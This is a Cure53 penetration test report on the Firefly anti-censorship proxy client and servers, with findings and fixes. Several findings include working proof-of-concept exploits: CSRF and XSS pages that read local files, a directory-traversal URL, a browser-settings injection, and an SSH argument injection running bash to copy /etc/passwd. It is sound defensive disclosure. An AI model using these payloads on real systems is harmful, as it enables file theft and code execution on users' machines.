Pentest-Report Firefly 02.2016

Cure53, Dr. M. Heiderich, Dipl.-Ing. A. Aranguren, Fabian Fäßler, Dario Weißer, Jann Horn

Index

Introduction

This report documents the penetration test and code audit commissioned by Firefly and carried out by security experts from the Cure53 team. The assignment took place over a period of eight days in early February 2016 and involved five Cure53 testers. As a result of the penetration test as many as 23 security issues discussed below were discovered.

Before moving on to the findings, it is important to mention the aims and target user-base of the Firefly software. Guided by its main goal of being a proxy software able to circumvent the Great Firewall in China, Firefly is unsurprisingly seeking to remain under the radar. The covert framework and utmost dedication to security are clearly necessary for this type of endeavor, so reaching out to obtain results of the external testing team should be considered praiseworthy.

The specific testing methodology agreed upon by Firefly and Cure53 entailed following white-box methodology, meaning that a test server was from the very beginning provided by the maintainers of the Firefly software. The scope of tests covered browser extensions, proxy scripts, server-side code, as well as the server itself. In order to ensure a dynamic rapport and reporting, all issues have been reported “live” upon discovery. The Firefly maintainers have received details pertinent to the findings through a dedicated Basecamp account, since standard usage of Github was considered too open and not risk-free in the context of the software’s ultimate interest in mitigating the effects of the Chinese GF.

Commenting on the number of 23 issues found, it has to be noted that the result of this penetration test is not satisfactory. Since the scope of the test was small, this considerable number of problem is worrisome and requires urgent attention. In addition, the ratio of actual security vulnerabilities to simpler general weaknesses identified in this test was also quite high as only 8 issues were considered general weaknesses. This means that as many as 15 findings constituted severe security problems and, among them, two particular discoveries received a “Critical” ranking. These two findings translated to an attacker being able to succeed in having a complete control over the system (FLY-01-012) and demonstrated an exploitable lack of the server and software updates (FLY-01-016). Many other security vulnerabilities in the core 15 were similarly impactful and they further represented a vast array (rather than just few types) of problems, thus potentially making the fixing process more difficult.

On the positive note, the contact with the maintainers was productive, professional and pleasant, which bodes well for a timely and comprehensive handling of the overall concerning conclusion with regard to the high number of security issues found.

Scope

The following pieces of software have been placed in scope for this test:

- https://github.com/yinghuocho/firefly-proxy (client-side code and build scripts)
- https://github.com/yinghuocho/download (binaries)
- https://github.com/yinghuocho/meeksocks-py (server-side source code)
- https://github.com/yinghuocho/meeksocks-go (server-side source code)
- **SSH Access to a test server**

Identified Vulnerabilities

The following sections list both vulnerabilities and implementation issues spotted during the testing period. Note that findings are listed in a chronological order rather than by their degree of severity and impact. The aforementioned severity rank is simply given in brackets following the title heading for each vulnerability. Each vulnerability is additionally given a unique identifier (e.g. *FLY-01-001*) for the purpose of facilitating any future follow-up correspondence.

FLY-01-001 Directory Traversal in local configuration webserver *(Medium)*

The */static* route handler in the administration web server in *firefly-proxy/webpanel/app.py* does not guard against directory traversal attacks. Therefore navigating to the following file in a web browser while the Firefly client is running reveals the contents of the file *C:\boot.ini*:

PoC:
http://localhost:20160/static/js%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini

The impact of this issued is somewhat reduced due to the fact that all files are delivered with Content-Type: text/plain. Still, if an attacker gains capacity of executing code within the browser's sandbox or, alternatively, he is able to find an XSS vulnerability[1] in the web interface, then this vulnerability can be used for reading arbitrary files from the local filesystem. What is more is that, even without an additional bug, an attacker can take advantage of issue for the purpose of leaking the contents of local JavaScript files. This would similarly apply to, for example, configuration files that are not JavaScript but are syntactically similar in their appearance.

It is recommended to validate all parameters and path fragments that initiate loading of local files in order to guarantee that they do not contain any characters that allow for effectuating path traversal attacks. Additional recommendation is to consider resolving a full local path first, check it for possible traversal next, and only then request the actual file.

[1] https://en.wikipedia.org/wiki/Cross-site_scripting

FLY-01-002 Persistent XSS in settings via CSRF + missing escaping *(High)*

The web interface does not escape user-controlled input sufficiently well, which translates to an attacker being able to exploit a resulting XSS vulnerability. From there it becomes easier to gain control over various parts of the application loaded in the user's browser.

The following exploit combines this particular vulnerability with the above FLY-01-001 and can be used by any website to read any file with a known path from the local filesystem of the client (tested in Google Chrome):

```
<iframe id="i" name="ifr"></iframe>
<form id="f" action="http://localhost:20160/proxy/settings/browser"
method="post" target="ifr">
<input type="checkbox" name="launch_browser" value=1 checked>
<input type="text" name="home_page"
value="&amp;quot;><script>eval(location.hash.slice(1))</script>">
</form>
<script>
setTimeout(function() {
  document.getElementById('f').submit();
  setTimeout(function() {
    document.getElementById('i').src = "http://localhost:20160/proxy#"+
        "var req = new XMLHttpRequest();"+
        "req.open('GET', '/static/js%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..
%2F..%2Fboot.ini', false);"+
        "req.send();"+
        "alert(req.responseText)";
  }, 1000);
}, 1000);
</script>
```

Please note that persistent XSS and CSRF[2] are present on all settings area screens. For example, setting either a blacklist or a whitelist like the one proposed below will also result in persistent XSS:

URL:
http://127.0.0.1:20160/blacklist

Data to use:
```
</textarea><svg onload=alert(1)>
```

In order to solve this problem it is suggested to follow the mitigation guidelines on the OWASP XSS Prevention Cheat Sheet.[3] A thorough review of the application with regard to potential presence of additional XSS bugs is highly recommended. Once they are fixed, a re-test and verification of fixes by the Cure53 team is desirable.

[2] https://en.wikipedia.org/wiki/Cross-site_request_forgery
[3] https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

FLY-01-003 Permanent Client DoS via CSRF on proxy settings *(High)*

The Firefly client's web interface implements no CSRF protections whatsoever, which means that third-party websites can amend the Firefly configuration in any desired way. In the context of an application that tries to bypass censorship, a censor could for instance:

- Indefinitely prevent Firefly clients from initiating;
- Intercept network communications or otherwise force clients to establish connections to censor's servers, hence revealing the client IPs;
- Modify server blacklist settings;
- Modify server whitelist settings.

The following proof of concept exploit will prevent Firefly from starting:

```
<html>
<body>
<iframe name="test_iframe"></iframe>
<iframe name="test_iframe2"></iframe>
<form id="f1" method="post" action="http://127.0.0.1:20160/proxy/settings/local"
target="test_iframe">
       <input name='enable_http_proxy' value='1'>
       <input name='http_proxy_ip' value='192.168.7.128'>
       <input name='http_proxy_port' value='8081'>
       <input name='enable_socks_proxy' value='1'>
       <input name='socks_proxy_ip' value='192.168.7.128'>
       <input name='socks_proxy_port' value='8081'>
</form>
<form id="f2" method="post"
action="http://127.0.0.1:20160/proxy/settings/circumvention"
target="test_iframe2">
       <input name='circumvention_proxy_ip' value='192.168.7.128'>
       <input name='circumvention_proxy_port' value='8081'>
       <input name='circumvention_chan_type' value='meek'>
</form>
</body>
</html>
<script>
setTimeout("document.getElementById('f1').submit()", 1000);
setTimeout("document.getElementById('f2').submit()", 2000);
</script>
```

As demonstrated, all proxy values are set to a local IP address, where the Firefly client cannot listen. From that point onwards and once Firefly is closed, no double-clicking on the *firefly.exe* icon will ever work and Firefly will not be started again unless or until the *config.json* file is restored or, alternatively, Firefly is reinstalled. In order to solve this problem it is recommended to implement the synchronizer token pattern, as explained in the OWASP CSRF Prevention Cheat Sheet.[4]

[4] https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet

FLY-01-006 Attack Surface via SSL Weaknesses on gofirefly.org *(Medium)*

The *gofirefly.org* website is set as the homepage for all Firefly clients by default. During testing it was found that the *gofirefly.org* website suffers from a number of TLS misconfigurations such as insecure cipher suites, weak Diffie-Hellman parameters and other similar issues. This might allow an attacker to defeat the protections offered by the TLS protocol and intercept network traffic in hopes of, for example, sending fake meek servers to Firefly clients.

Given that the default Firefly configuration is set up to download all firefly hosts, blacklists and relays from *gofirefly.org* URLs, this issue seems rather relevant:

File:
config.json

***gofirefly.org* URLs:**

```
"blacklist_meta_url": "https://gofirefly.org/resource/blacklist/firefly-
blacklist.meta.json",
"blacklist_url": "https://gofirefly.org/resource/blacklist/firefly-
blacklist.txt",
"url": "https://gofirefly.org/resource/meek/relays.txt"
"home_page": "https://gofirefly.org/page/index.html"
"data_url": "https://gofirefly.org/resource/hosts/firefly-hosts.txt",
"meta_url": "https://gofirefly.org/resource/hosts/firefly-hosts.meta.json"
```

These issues can be trivially verified with the use of the relevant SSL Labs link, which at the time of writing returns an F-Grade overall rating for this website:

https://www.ssllabs.com/ssltest/analyze.html?d=gofirefly.org&hideResults=on

The findings in this realm can be summed up in the following list of issues:

- Support of anonymous (insecure) cipher suites
- Support of 512-bit export suites, which could be vulnerable to the FREAK attack[5]
- Support of Weak Diffie-Hellman (DH) key exchange parameters
- Support of the RC4 cipher on older protocol versions
- Lack of Forward Secrecy support with the reference browsers

An additional weakness here is that the *firefly.org* website does not currently implement a permanent redirect from port 80 to port 443. Hence clients are permitted to access all pages over clear-text HTTP, which can be verified by navigating to the http:// alternative of any URL, for example:

http://gofirefly.org/page/index.html

[5] https://freakattack.com/

Improving the TLS configuration is a necessary step for solving this problem. The OWASP Transport Layer Protection Cheat Sheet[6] provides detailed instructions on how to rollout TLS securely, while the Duraconf templates[7] supply a great starting point for introducing advancements in this area.

Furthermore, the SSL Labs test facility[8] can be used to examine the TLS configuration, keeping in mind that acquiring an A-grade result should be considered the correct objective. Finally, a permanent redirect should be implemented from port 80 to port 443 and the HSTS header[9] needs to be sent along all requests to mitigate potential channel downgrade attacks.

FLY-01-009 Browser Setting Injection into user.js *(High)*

If Firefox is selected as a browser used with Firefly, an attacker with an ability to change the proxy host setting (*http_proxy_ip* or *socks_proxy_ip*) can use a crafted hostname to add arbitrary settings to firefox_user_data/user.js. The reason behind this is that the proxy IP address is neither sanitized nor escaped. The incorrect string interpolation happens in the method *launch_firefox()* in *firefly-proxy/ component/brz.py:*

```
if proxy_type == SOCKS5:
    data += [
        'user_pref("network.proxy.socks", "%s");' % proxy_ip,
        'user_pref("network.proxy.socks_port", %d);' % proxy_port,
[...]
    ]
else:
    data += [
[...]
        'user_pref("network.proxy.http", "%s");' % proxy_ip,
        'user_pref("network.proxy.http_port", %d);' % proxy_port,
        'user_pref("network.proxy.ssl", "%s");' % proxy_ip,
        'user_pref("network.proxy.ssl_port", %d);' % proxy_port,
        'user_pref("network.proxy.share_proxy_settings", false);',
    ]
f = codecs.open(os.path.join(profilepath, "user.js"), "w", "utf-8")
f.write("\n".join(data))
f.write("\n")
f.close()
```

The following HTML page can be used to demonstrate the issue:

```
<iframe id="i" name="ifr"></iframe>
<form id="f" action="http://localhost:20160/proxy/settings/local" method="post"
target="ifr">
<input type="checkbox" name="enable_http_proxy" value=1 checked>
<input type="text" name="http_proxy_ip"
```

[6] https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet
[7] https://github.com/ioerror/duraconf
[8] https://www.ssllabs.com/ssltest/
[9] https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security

```
value="foobar&quot;);user_pref(&quot;security.fileuri.strict_origin_policy&quot;
, false);//">
<input type="text" name="http_proxy_port" value=20149>
<input type="checkbox" id="enable_socks_proxy" name="enable_socks_proxy"
value=1>
<input type="text" name="socks_proxy_ip" value="127.0.0.1">
<input type="text" name="socks_proxy_port" value="20150">
</form>
<script>
setTimeout(function() {
  document.getElementById('f').submit();
  setTimeout(function() {
    document.getElementById('i').src = "http://localhost:20160/proxy#"+
        "var req = new XMLHttpRequest();"+
        "req.open('GET',
              '/static/js%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..
      %2Fboot.ini'
                  , false);"+
        "req.send();"+
        "alert(req.responseText)";
  }, 1000);
}, 1000);
</script>
```

Steps to reproduce:

- Start Firefly Application
- Open the malicious HTML page
- Close all open Firefox instances and Firefly
- Start Firefly Application again
- View *about:config* - the “security.fileuri.strict_origin_policy” setting, which is now set to false.

This allows an attacking website to override security-relevant settings in the user’s browser and might ultimately lead to a system compromise. It is recommended to strictly verify that the Proxy IP is indeed an IP address.

FLY-01-011 Default Page can be on the local filesystem *(High)*

Firefly has a *home_page* config setting that can be set from the web interface. When Firefly is started, the *default_page()* function is used to interpret this setting. If the value of *home_page* starts with “http”, it is used as path for the browser directly; otherwise, it is interpreted as a relative path on the local filesystem.

This means that an attacker with the ability to access the web configuration interface can cause Firefly to open a local file in the chosen browser on its next start. This could facilitate further attacks. For example in Google Chrome the sandbox restrictions are relaxed when HTML pages are loaded from file: URIs, allowing an attacker who is confined to the renderer sandbox to access arbitrary local files without a sandbox

escape. Similarly bugs in Google Chrome that directly allow an HTML document loaded from *file:* to access local files are treated as being of low severity.

If the ability to load local files is not needed, then it is recommended to change the POST handler of *browser_settings* in *app.py* to only allow URLs that start with “http://” or “https://” and return an error if a user attempts to employ any other *home_page* setting. (An exception should be made when the supplied *home_page* is empty; in this case, *home_page* can be set to “about:blank”.)

Update: The impact of this issue is higher than the initial estimate because the *home_page* setting can reach the *open_url()* function, which on Mac systems is implemented via “Open” command. The command determines how a file should be handled from its file type, meaning that while local HTML files will be opened in the browser, it is also possible to use this to, for instance, launch applications.

FLY-01-013 Lack of Content Security Policy facilitates XSS attacks *(Medium)*

The local configuration web interface is highly sensitive, so XSS attacks against it enable an attacker to proxy the user’s traffic through his machine and gain access to more attack surface. To reduce the impact of XSS vulnerabilities in the web interface, it is recommended to deploy Content Security Policy (CSP) with the following HTTP headers:

Example CSP Header:

- `Content-Security-Policy: default-src: 'none'; script-src 'self'; style-src 'self'; img-src 'self'; font-src 'self'; base-uri: 'none'; form-action: 'self'; frame-ancestors: 'none';`
- `X-Content-Security-Policy: default-src: 'none'; script-src 'self'; style-src 'self'; img-src 'self'; font-src 'self';`

After the deployment of this policy it will be necessary to create a new CSS class that can be used instead of the inline `style="display:none"` attribute.

FLY-01-012 RCE from website on Mac via SSH command *(**Critical**)*

If censorship circumvention using an SSH connection with password-based authentication has been configured on a Mac, the following code in *firefly-proxy/component/ circumvention.py* is used to launch the SSH client:

```
def _launch_ssh(self, proxy_ip, proxy_port, sshconf):
  part1 = [
    "ssh",
    "-oStrictHostKeyChecking=no",
    "-C2qTN",
    "-D",
    "%s:%d" % (proxy_ip, proxy_port),
    "-p",
    str(sshconf['server_port']),
  ]
```

```
  part3 = ["%s@%s" % (sshconf['username'], sshconf['server_name'])]

  if sshconf['auth'] == "key":
    [...]
  else:
    import pexpect
    try:
      args = [s.encode(sys.getfilesystemencoding()) for s in part1 + part3]
      p = pexpect.spawn(" ".join(args), timeout=10)
      p.expect("password:")
      p.sendline(sshconf['password'])
      return p
    except Exception, e:
      [...]
```

What is crucial here is that *pexpect.spawn()* does not invoke a shell, so an attacker cannot simply add shell commands to the arguments' list. However, because the command line is split when spaces occur, he can inject additional command line parameters. Injecting the parameter "*-oProxyCommand={command}*" makes it possible to cause execution of arbitrary local shell commands on the victim's machine. (Note that the attacker generally needs to be careful in avoiding spaces in the command, though certain mechanisms - e.g. replacing spaces with `${IFS}`, can help ensure that this can be worked around.)

Because of the CSRF issues in the web management interface, this attack can be carried out by a remote website using code like the following:

```
<iframe style="display:none" id="i" name="ifr"></iframe>
<form id="f" action="http://localhost:20160/proxy/settings/circumvention"
method="post" target="ifr">
  <input type="hidden" name="circumvention_proxy_ip" value="127.0.0.1">
  <input type="hidden" name="circumvention_proxy_port" value="20151">
  <input type="hidden" name="circumvention_chan_type" value="ssh">
  <input type="hidden" name="ssh_server_name" value="foo">
  <input type="hidden" name="ssh_server_port" value="22">
  <input type="hidden" name="ssh_username" value="
      -oProxyCommand=bash${IFS}-c${IFS}'cat${IFS}/etc/passwd>/tmp/passwd_copy
      ' foo">
  <input type="hidden" name="ssh_auth" id="ssh_auth" value="pwd">
  <input type="hidden" name="ssh_password" value="">
  <input type="hidden" class="form-control" id="ssh_keyfile" name="ssh_keyfile"
value="">
  <input type="hidden" name="shadowsocks_server_name" value="">
  <input type="hidden" name="shadowsocks_server_port" value="0">
  <input type="hidden" name="shadowsocks_password" value="">
  <input type="hidden" name="shadowsocks_method" value="camellia-256-cfb">
  <input type="hidden" name="shadowsocks_timeout" value="0">
  <input type="hidden" name="shadowsocks_fast_open" value=1>
<script>
setTimeout(function() {
  document.getElementById('f').submit();
}, 1000);
</script>
```

At the moment when the victim restarts Firefly again, the attacker-controlled command executes.

It is recommended pay much more attention to instances wherein arguments are passed to external commands. This applies not only to the context of using the *pexpect.spawn()* API, but also situations of using APIs that take an array of command line arguments, like *popen()*. Arguments should always be verified as follows:

- Argument must be non-empty
- Argument must consist of explicitly permitted characters only
- Argument must not start with a dash (“-”).

FLY-01-014 Partial forbidden header name bypass via “_”>”-” conversion *(Medium)*

When the local proxy is an HTTP proxy, in HTTP request header names, “-” is converted to “_” by *gevent.pywsgi*. To invert this effect for forwarded headers, *copy_request()* in *firefly-proxy/ghttproxy/server.py* replaces “_” with “-” in request header names:

```
for (name, value) in environ.iteritems():
    if name in BLACKLIST_HEADERS:
        continue

    if name.startswith("HTTP_") and value is not None:
        headers.append((name[5:].replace("_", "-").lower(), value))
```

However, there is a side effect to this process. Specifically, if the incoming request header name already contains an underscore, this character is replaced with a dash before the request is forwarded. This allows websites to bypass the forbidden header name blacklist for some request headers by replacing dashes in the request name with underscores:

```
var r = new XMLHttpRequest(); r.open('get', '/', false);
r.setRequestHeader('accept-charset', 'foobar'); r.send()

GET / HTTP/1.1
Content-Length: 0
accept-language: de,en-US;q=0.7,en;q=0.3
accept-encoding: gzip, deflate
Connection: Keep-Alive
host: thejh.net:8080
accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
connection: keep-alive
referer: http://thejh.net:8080/

var r = new XMLHttpRequest(); r.open('get', '/', false);
r.setRequestHeader('accept_charset', 'foobar'); r.send()

GET / HTTP/1.1
```

```
Content-Length: 0
accept-language: de,en-US;q=0.7,en;q=0.3
accept-encoding: gzip, deflate
Connection: Keep-Alive
host: thejh.net:8080
accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
accept-charset: foobar
connection: keep-alive
referer: http://thejh.net:8080/
```

The impact of this is considered to be of medium severity and includes possible XSS and information leakage. It is recommended to either let ProxyHandler override *WSGIHandler._headers()* with an implementation that either does not convert dashes to underscores and removes the back-conversion logic, or, alternatively, use an HTTP server implementation that works on a lower level.

FLY-01-015 Request Splitting via unencoded request path *(Medium)*

When a request is sent through the HTTP proxy (*firefly-proxy/ghttproxy/server.py*), *ProxyApplication* attempts to recreate the HTTP request using the request state stored in the *environ* object. As it stands at present, however, the request path is handled incorrectly.

What takes place is that *gevent.pywsgi* extracts the request path from the original HTTP request, decodes it using the *unquote()* function and stores it in *environ['PATH_INFO']*. Because of the *unquote()* call, the data stored in *environ['PATH_INFO']* can contain arbitrary characters, including newlines. Afterwards, *reconstruct_url()* in *firefly-proxy/ghttproxy/server.py* attempts to create a URL using this path, yet the resulting URL still contains special characters from the decoded path. The reconstructed URL is returned through *copy_request()* to *ProxyApplication.http()*, which passes the data through *urlsplit()* and *urlunsplit()* (both of these do not modify special characters). Ultimately, the path is passed to *HTTPConnection.request()*, which writes the path to the TCP connection without escaping.

This can be used by an attacker to, for example, confuse client and server about which host a request is intended for, thus allowing the attacker to bypass the Same Origin Policy for plain HTTP resources that are served by the same server. The following proof of concept link demonstrates this by running an HTML page from http://var.thejh.net/xss.html under the origin *http://37.221.195.125/* when accessed through HTTP proxy.

Example:
http://37.221.195.125/xss.html%20HTTP/1.0%0D%0AHost:%20var.thejh.net%0D%0A%0D%0A

This is the request as received by the server:

```
GET /xss.html HTTP/1.0
Host: var.thejh.net

HTTP/1.1
Content-Length: 0
accept-language: de,en-US;q=0.7,en;q=0.3
accept-encoding: gzip, deflate
Connection: Keep-Alive
host: 37.221.195.125
accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
connection: keep-alive
```

The mitigation strategies are to either get rid of the HTTP proxy (and only provide the SOCKS proxy), or to use a library for parsing the request that provides the raw path as received (without unescaping it), and then sends that path on to the server. It might seem as if re-encoding the decoding path would also work, yet it might turn a path like "/foo%2fbar/baz" into "/foo/bar/baz".

It is furthermore recommended to follow best practice and file a bug ticket about this behavior of *httplib.HTTPConnection.putrequest* at https://bugs.python.org/.

FLY-01-016 Server Kernel and Software not up to date *(**Critical**)*

The server running at *54.199.23.92* has not been updated for a long time. The kernel was compiled in July 2014 and most installed packages show to be of the same age. At this current state a local attacker could gain root privileges on the server by using public exploits. Once an attacker gains root on a server, he effectively has full control over the machine and can change, modify and delete arbitrary files and software. A more sophisticated attacker would also hide his presence and install hidden backdoors. In addition to this it must be kept in mind that old server applications might often contain known bugs, which could in turn enable remote attackers to execute code on the system as the user who runs the vulnerable software. Such an attack would lead to an immediate full compromise.

It is recommended to urgently update the server, including all installed packages. This can be done with the use of the following commands:

```
# apt-get update
# apt-get dist-upgrade
```

In order to finish the kernel update a server reboot is required. Keeping the software running on a server is very important, especially when the server is exposed to the public Internet. This needs to be enforced and can be achieved by manually updating the server in accordance with a reasonably drafted timeline, or could equally rely on installing an automated update schedule to be followed.

FLY-01-017 Missing server-side Security Settings *(Medium)*

Most Linux default installations have several security options disabled because some of them require individual work or would affect the system's usability for a majority of the users. There are several configuration options listed below and known for significantly improving the security of a Linux server.

Hidepid:
Every user can see on a Linux server all of the processes, including their parameters. In certain circumstances this behavior might leak information or point an attacker in the right direction when it comes to escalating privileges. Hidepid is an option that can be set when the procfs[10] is mounted. If enabled, a non-root user can exclusively see his own processes.

Dmesg Restrict:
Dmesg[11] is a Linux command showing messages printed by the kernel. It contains information about the boot process and hardware, which means that might in some cases disclose information to an attacker. This especially holds for an attacker who already has limited privileges on the server and can now escalate to root. There is no reason why a non-root user should see this output. It is recommended to restrict the access to messages to root.

The restriction can be enabled by adding the following line to the *sysctl* configuration.

```
kernel.dmesg_restrict = 1
```

iptables:
The network firewall under Linux is known as iptables and netfilter. As every other firewall, it is used to restrict the network access from and to other hosts. It is recommended to install decent firewall rules and to only allow connections which are needed by the application(s) running on the server. For example, the user running the webserver usually does not require an ability to initiate outgoing connections.

Grsecurity:
The use of Grsecurity should be considered to harden the server against certain attacks:

> *"Grsecurity® is an extensive security enhancement to the Linux kernel that defends against a wide range of security threats through intelligent access control, memory corruption-based exploit prevention, and a host of other system hardening that generally require no configuration"*[12]

[10] https://en.wikipedia.org/wiki/Procfs
[11] https://en.wikipedia.org/wiki/Dmesg
[12] https://grsecurity.net/

Remote Syslog:
Alongside local logging it is advised to set up an external logging server. In case the server is compromised, an attacker can easily remove all evidence from the log files, thus making it hard to even detect the attack and preventing the very understanding of the attack that took place. The consequences would be alleviated had the logs been stored on another server.

File Change Monitoring:
An attacker who compromised a server most likely seeks to stay on the system as long as possible. This can be achieved by manipulation of e.g. executables on the server. It is recommended to verify the integrity of the installed packages with the regular use of a file change monitor. This would aid detection of manipulations.

FLY-01-018 Incorrect file permissions disclose private key *(High)*

Several files on the system have improper access permissions. This allows local attackers to disclose sensitive information or plant malicious code in the executable scripts.

Keys:
The private key files for the *nginx* webserver are world readable. A local attacker could easily steal the key files and use them for further attacks (e.g. MitM).

```
-rw-rw-r-- 1 ubuntu ubuntu 1704 Jan 14 22:25 /etc/nginx/ssl/gofirefly.key
-rw-r--r-- 1 root root 1704 Jan 14 22:34 /etc/nginx.bak/ssl/gofirefly.key
```

Private key files should never be world readable. It is important to make sure that only the user running the correspondent application can read and edit the files. In this case the ownership should be changed to root:root and the permissions to 600. (Note that 600 means that only the owner can read and write)

Home:
The home directory of the user's ubuntu has permission 755, which means that any local user on the system can list its contents and also read some of the contained files. It is recommended to set the permission of home folders to 700 unless other users need access. In that case the access strategy should be reflected upon and devised anew.

Webroot:
All files in the webroot (/var/www/) are owned by the user www-data. An attacker who has gained command execution via the web platform could easily plant a persistent backdoor within the existing scripts. It is recommended to change the ownership of the files in the webroot to root.

FLY-01-019 SSH fingerprint Prompt suppressed on Mac *(Medium)*

Let us look at a first-time user who wishes to take advantage of an SSH server as proxy a Mac. If this user has in fact not used the SSH server before, the SSH command would normally show the server's fingerprint to the user and ask him to verify it. Firefly suppresses that prompt using the *-oStrictHostKeyChecking=no* command line flag. As such, it particularly allows a MitM[13] attacker, who attacks a user's first connection, to steal their login credentials whenever a password-based authentication is in place. This potentially lets such an attacker gain the ability to run arbitrary commands on the SSH server.

It is recommended to enable normal host key checking. When the host key check fails because the server is thus far unknown, then two paths can be recommended. First, however difficult to implement, would be to show the server's fingerprint to the user and ask him whether he wants to continue. Second option proposes to refuse to connect and show an error message, telling the user that he needs to connect manually once with the use of the ssh command in order to confirm the host key.

FLY-01-020 Turnserver running with root privileges *(Medium)*

The server located at *54.199.23.92* runs a software called Turnserver. The process has root privileges although an unprivileged user has been configured because of a security issue in the application.

Process list:

ps aux

```
...
106        995  0.0  0.1  29796  1160 ?        Ss   Jan21   1:23
/usr/sbin/turnserver -c /etc/turnserver/turnserver.conf -p
/var/run/turnserver/turnserver.pid
```

Processes under Linux have four different user ids, which are real, effective, saved set, and filesystem UID. The same can be applied to group ids. According to the process list, the process runs as user 106 (Turnserver). Simultaneously the value only shows the effective user id. All ids can be displayed using the status file of the process.

Status file:

```
root@ip-10-121-41-66:~/meeksocks/run# cat /proc/995/status
...
Uid:   0      106    0      106
Gid:   0      112    0      112
```

The output shows that the effective user and group ids are not dropped, implying that the process still has root privileges. An attacker with previously acquired remote command execution in the application can take advantage of this issue since he would this way no longer need to escalate privileges in order to gain full system access. It is recommended to report this issue to the vendor and install necessary updates when the issue is fixed.

[13] https://en.wikipedia.org/wiki/Man-in-the-middle_attack

Miscellaneous Issues

This section covers those noteworthy findings that did not lead to an exploit but might aid an attacker in achieving their malicious goals in the future. Most of these results are vulnerable code snippets that did not provide an easy way to be called. Conclusively, while a vulnerability is present, an exploit might not always be possible.

FLY-01-004 Predictable endpoint locations on client app *(Medium)*

The Firefly client app comes with a set of known endpoints and listening ports that facilitate attacks like FLY-01-001, FLY-01-002 and FLY-01-003. For example, by default, the Firefly client web server runs on *localhost:20160* and all endpoints are well known and vulnerable to CSRF.

All these attacks would become unexploitable if the client app generated a long random token on application start, which would then have to be present on all api requests for them to become processed by the web server. In addition to this, listening on a random port could be another layer of security that would increase the difficulty of exploitation.

FLY-01-005 plain-text HTTP resources on client app help pages *(Low)*

The Firefly client app links to insecure resources, such as direct .EXE downloads over clear-text HTTP. This might be abused by an attacker able to intercept network communications to deliver trojaned executables to Firefly users.

URL: http://127.0.0.1:20160/about
Output:

```
<li>基于 SSH 的翻墙通道。萤火虫使用 putty 来连接 SSH 服务器（注意：putty 只支持
自定义的密钥格式，如果使用私钥进行认证请先用
<a href="http://the.earth.li/~sgtatham/putty/latest/x86/puttygen.exe"
target="_blank">
PuTTYgen
</a> 转换密钥格式）。
</li>
```

It is recommended to only provide Firefly clients with secure HTTPS links for downloading sensitive files such as executables. Ideally a general url review should be taken on in hopes of ensuring that as many urls as possible are setup to use HTTPS from the Firefly pages.

FLY-01-007 Out of date nginx version on gofirefly.org *(Low)*

The *gofirefly.org* website is running nginx 1.6.0, which is not only outdated but also known to be vulnerable to some security issues. For a list of issues affecting this nginx version please see the nginx security advisory URL:

Material:
http://nginx.org/en/security_advisories.html

It is recommended to upgrade the *gofirefly.org* nginx version and implement a software patching programme that guarantees that the patches are applied in a timely fashion. Ideally the server banner should be hidden as well to make fingerprinting more difficult.

FLY-01-008 Missing HTTP Security Headers allow UI-based Attacks *(Medium)*

The *gofirefly.org* website does not follow best practices with regard to emission of security-assistive HTTP headers and verboseness through server and runtime banners. First of all it is leaking the nginx version in use:

Request:

```
GET http://gofirefly.org/page/index.html HTTP/1.1
```

Response:

```
HTTP/1.1 200 OK
Server: nginx/1.6.0
[...]
```

It is recommended to disable this banner leakage by using the respective setting in the nginx configuration. Secondly, the *gofirefly.org* website does not seem to have a system-wide deployment strategy for the same HTTP security headers to be used. It is recommended to employ and issue the following headers to ensure that a better protection from the browser-driven attacks is provided:

- X-Frame-Options: DENY
- X-XSS-Protection: 1; mode=block
- X-Content-Type-Options: nosniff

The deployment of the specified headers will effectively and instantaneously mitigate a wide range of attacks including XSS, Clickjacking and Content-Sniffing.[14] However, if a website should be frameable, it is necessary to modify *X-Frame-Options* accordingly. It is possible to specify a whitelist which would determine whether to iframe a specific website by using the ALLOW-FROM keyword.

FLY-01-010 Use of removed -remote API in launch_firefox_tab *(Info)*

The function *launch_firefox_tab()* in the file *firefly-proxy/component/brz.py* uses the *-remote* API of Firefox to send a command to a running process:

```
def launch_firefox_tab(executable, url, rootdir):
    # this does not work on OS X
    profilepath = os.path.join(rootdir, "firefox_user_data")
    cmdline = [
        executable,
        '-profile',
        profilepath,
        '-remote',
        u'openURL(%s,new-tab)' % url,
```

[14] https://cure53.de/xfo-clickjacking.pdf

```
    ]
    cmdline = [s.encode(sys.getfilesystemencoding()) for s in cmdline]
    return subprocess.Popen(cmdline)
```

The problem is that this API has been removed.[15] It is recommended to use the *-new-tab* option instead.

FLY-01-021 Function singleton_clean() is racy *(Low)*

On Mac systems the functions *singleton_check()* and *singleton_clean()* contain a theoretical race condition. If process A, currently holding the lock, invokes *singleton_clean()* while process B attempts to acquire the lock using *singleton_check()*, then the following sequence of events can occur:

1. A calls *fcntl.lockf(f, fcntl.LOCK_UN)* and *f.close()* releasing the advisory lock (and closing the last open file descriptor referring to the file description that holds the lock. This would implicitly release the lock if it has not been released already).
2. B calls *open(lock, 'w')* and obtains a file descriptor referring to a new file description referring to the old lockfile.
3. B successfully places an advisory lock on the old lockfile using *fcntl.lockf*(f, *fcntl.LOCK_EX* | *fcntl.LOCK_NB)*.
4. A removes the old lockfile using *os.unlink(lock)*.

The function *singleton_check()* in process B returns and signals success, but because the locked file description refers to the deleted lockfile, certain effects take hold. Namely when a third process attempts to take the singleton lock using *singleton_check()* afterwards, it will create a new lockfile and successfully lock it.

It is therefore recommended to simply *close()* the lockfile without explicitly unlocking it or deleting it in *singleton_clean()* across non-Windows systems.

FLY-01-022 Meek Relay forces TLS 1.0 *(Medium)*

The following vulnerable code is exposed in the file *meeksocks/relay.py*, :

```
if ca_certs:
   ssl_options = {'ca_certs': ca_certs, 'ssl_version': ssl.PROTOCOL_TLSv1}
else:
   ssl_options = {'ssl_version': ssl.PROTOCOL_TLSv1}
```

